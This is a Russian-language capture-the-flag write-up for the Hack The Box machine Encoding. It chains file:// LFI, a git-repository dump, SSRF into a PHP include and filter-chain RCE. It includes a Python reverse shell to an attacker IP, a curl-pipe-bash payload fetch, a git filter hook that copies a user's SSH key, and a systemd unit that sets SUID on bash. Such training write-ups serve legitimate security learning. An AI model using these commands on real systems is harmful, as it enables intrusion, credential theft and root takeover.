Хакер - HTB Encoding. Эксплуатируем Git-репозиторий
hacker_freiRalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Чтение произвольных файлов
- Git
- PHP include RCE
- Продвижение
- Локальное повышение привилегий
Сегодня мы с тобой пройдем по цепочке уязвимостей: от LFI к эксплуатации Git, к другой LFI и под конец — RCE. По дороге нам понадобится модернизировать Git-дампер, а при продвижении будем использовать выполнение кода через Git.
Наша цель — захватить тренировочную машину Encoding с площадки Hack The Box. Уровень сложности — средний.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.198 encoding.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Мы нашли два открытых порта: 22 — служба OpenSSH 8.9p1 и 80 — веб‑сервер Apache 2.4.52. Больше ничего интересного в результатах сканирования нет, поэтому идем изучать веб‑сервер.
ТОЧКА ВХОДА
Беглый просмотр сайта выводит нас на API, который работает на отдельном поддомене. Добавляем новый поддомен в файл /etc/hosts
.
10.10.11.198 encoding.htb haxtables.htb api.haxtables.htb
Обрати внимание, что запрашиваемая страница передается в параметре page
. В таких случаях стоит сразу проверить наличие LFI. Однако найти уязвимость не удалось. Зато на странице есть примеры кода, как работать с API для кодирования файлов, получаемых по указанному URL.
Немного подправим код, чтобы после получения закодированного файла обработать ответ и декодировать файл.
import requests
import json
import base64
json_data = {
'action': 'b64encode',
'file_url' : 'http://10.10.14.78/test.txt'
}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
data = json.loads(response.text.strip())
print(base64.b64decode(data["data"]).decode())
А теперь запросим файл со своего веб‑сервера:
python3 -m http.server 80
Код работает, файл по ссылке получен. А теперь пробуем изменить протокол с http://
на file://
, чтобы попытаться получить локальный файл с сервера. Читать будем /etc/passwd
, для чего изменим в коде параметр file_url
.
'file_url' : 'file:///etc/passwd'
И получаем возможность читать произвольные файлы.
ТОЧКА ОПОРЫ
Чтение произвольных файлов
Чтобы прочитать файлы сайта, нам нужно знать путь к корневому каталогу. В этом нам поможет файл конфигурации веб‑сервера.
'file_url' : 'file:///etc/apache2/sites-enabled/000-default.conf'
В итоге получаем пути к корневым каталогам трех сайтов. Добавляем запись для поддомена image
в файл /etc/hosts
, несмотря на то что доступ к этому сайту разрешен только с локального хоста.
10.10.11.198 encoding.htb haxtables.htb api.haxtables.htb image.haxtables.htb
Первым делом читаем файл index.php
, чтобы раскрыть новые подключаемые файлы.
'file_url' : 'file:///var/www/image/index.php'
Раскрываем новый подключаемый файл utils.php
. Просмотрим и его.
'file_url' : 'file:///var/www/image/utils.php'
Изучая исходный код, отмечаем для себя, что в каталоге есть репозиторий Git. Давай найдем способ скачать его весь.
Git
Для дампа всего репозитория можно использовать утилиту Dumper. Но так как мы читаем файлы не напрямую, а через уязвимость на сервере, скрипт нужно немного модернизировать. Найдем команду, где выполняется запрос с помощью curl.
Изменим ее для работы через сервис кодирования.
curl 'http://api.haxtables.htb/v3/tools/string/index.php' -s -H 'Content-Type: application/json' --data-binary "{"action": "b64encode", "file_url": "file:///var/www/image/.git/$objname"}" | jq .data | tr -d '"' | base64 -d > "$target"
Теперь запускаем скрипт и получаем весь репозиторий.
Для анализа Git я обычно использую программу gitk. Запускаем ее из директории, где содержится каталог .git
. Мы и так можем читать файлы на сервере, поэтому меня просто интересовало, какие файлы и каталоги на нем есть.
Сразу обращаем внимание на action_handler.php
, о котором мы прежде не знали.
'file_url' : 'file:///var/www/image/actions/action_handler.php'
И видим очень опасное использование функции include
. Так в нее передается принимаемый GET-параметр page
. Но мы не можем обратиться к этому файлу напрямую, так как доступ к сайту image
возможен только с локального хоста. Эту LFI можно раскрутить до RCE, но нам нужна еще уязвимость SSRF, чтобы обратиться к сайту image
.
Ничего интересного больше найти не получилось, поэтому вернемся к первому сайту и просканируем файлы PHP с помощью feroxbuster.
feroxbuster -u http://haxtables.htb/ -w php_files_common.txt -d 1
Находим файл handler.php
. Сразу получаем его содержимое.
'file_url' : 'file:///var/www/html/handler.php'
Сервер обрабатывает параметр uri_path
и передает его в функцию make_api_call
. Получим код этой функции из файла utils.php
.
'file_url' : 'file:///var/www/api/utils.php'
Эта функция нужна для отправки запроса на указанный URL. Вот мы и узнали способ выполнить запрос к action_handler.php
, где мы нашли вызов include
.
PHP include RCE
Первым делом попробуем проверить, достигнем ли мы функции include
на практике. Для этого перепишем код скрипта и запросим файл /etc/passwd
.
import requests
import json
json_data = {
"action": "",
"data": "",
"uri_path": "r@image.haxtables.htb/actions/action_handler.php?page=/etc/passwd&"
}
response = requests.post('http://haxtables.htb/handler.php', json=json_data)
print(response.text)
Функцию include
мы все‑таки достали, поэтому можем сразу получить RCE php_filter_chain_generator. Сначала генерируем цепочку, которая выполнит код на PHP:
<?php system('id')?>
Это приведет к выполнению команды id
.
python3 ./php_filter_chain_generator/php_filter_chain_generator.py --chain "<?php system('id')?>"
А теперь выполним новый запрос (цепочку необходимо вставить вместо многоточия) и получим результат выполнения команды.
"uri_path": "r@image.haxtables.htb/actions/action_handler.php?page=...&"
Поместим на своем веб‑сервере следующий реверс‑шелл на Python и запустим листенер pwncat-cs -lp 4321
.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.78",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
А теперь сгенерируем и отправим цепочку, которая скачает и выполнит реверс‑шелл.
php_filter_chain_generator/php_filter_chain_generator.py --chain "<?php system('curl http://10.10.14.78/sh.txt|bash');?>"
ПРОДВИЖЕНИЕ
Теперь нам необходимо собрать информацию, чтобы повысить привилегии на хосте. Чтобы найти пути продвижения, я использую скрипты PEASS. Загрузив на сервер скрипт для Linux и выполнив его, я подметил в его выдаче небезопасные настройки sudoers.
Справка: sudoers
Файл /etc/sudoers
в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l
.
Есть возможность выполнить скрипт /var/www/image/scripts/git-commit.sh
от имени пользователя svc
без ввода пароля. Посмотрим на сам скрипт.
Здесь мы можем применить технику выполнения кода через обработчик фильтра. Первым делом создадим скрипт, который будет выполняться. Скрипт будет копировать SSH-ключ пользователя.
echo "cat ~/.ssh/id_rsa > /tmp/key.txt" > /tmp/getkey
chmod +x /tmp/getkey
Заново инициализируем репозиторий и в файл атрибутов Git добавляем новый фильтр.
git init
echo '*.php filter=indent' > .git/info/attributes
Теперь в качестве обработчика для filter.indent.clean
устанавливаем наш выполняемый скрипт /tmp/getkey
.
git config filter.indent.clean /tmp/getkey
И выполняем git-commit.sh
от имени пользователя svc
.
sudo -u svc /var/www/image/scripts/git-commit.sh
Теперь пробуем просмотреть скопированный SSH-ключ.
Подключаемся к хосту по SSH с полученным ключом и забираем первый флаг.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Давай снова посмотрим настройки sudoers.
sudo -l
Теперь мы можем без ввода пароля выполнить от имени рута такую команду:
/usr/bin/systemctl restart *
Утилита systemctl
нужна для контроля служб systemd и управления ими, и для нее есть техника GTFOBins.
Справка: GTFOBins
GTFOBins — это подборка способов злоупотребления функциями распространенных программ для Unix. Используя эти рецепты, можно быстро получить доступ к командным оболочкам, повысить привилегии или передать файлы.
Также проверяем права на каталог /etc/systemd/system
, где расположены файлы конфигурации для различных служб.
Кто угодно может записывать в каталог /etc/systemd/system
, а значит, мы можем создать в нем конфигурацию getroot.service
для запуска команды в привилегированном режиме. В качестве исполняемой команды назначим присвоение S-бита файлу командной оболочки /bin/bash
.
[Service]
Type=oneshot
ExecStart=chmod u+s /bin/bash
[Install]
WantedBy=multi-user.target
А теперь перезапустим созданную «службу».
sudo /usr/bin/systemctl restart getroot
У нас есть доступ от имени рута, а значит, машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei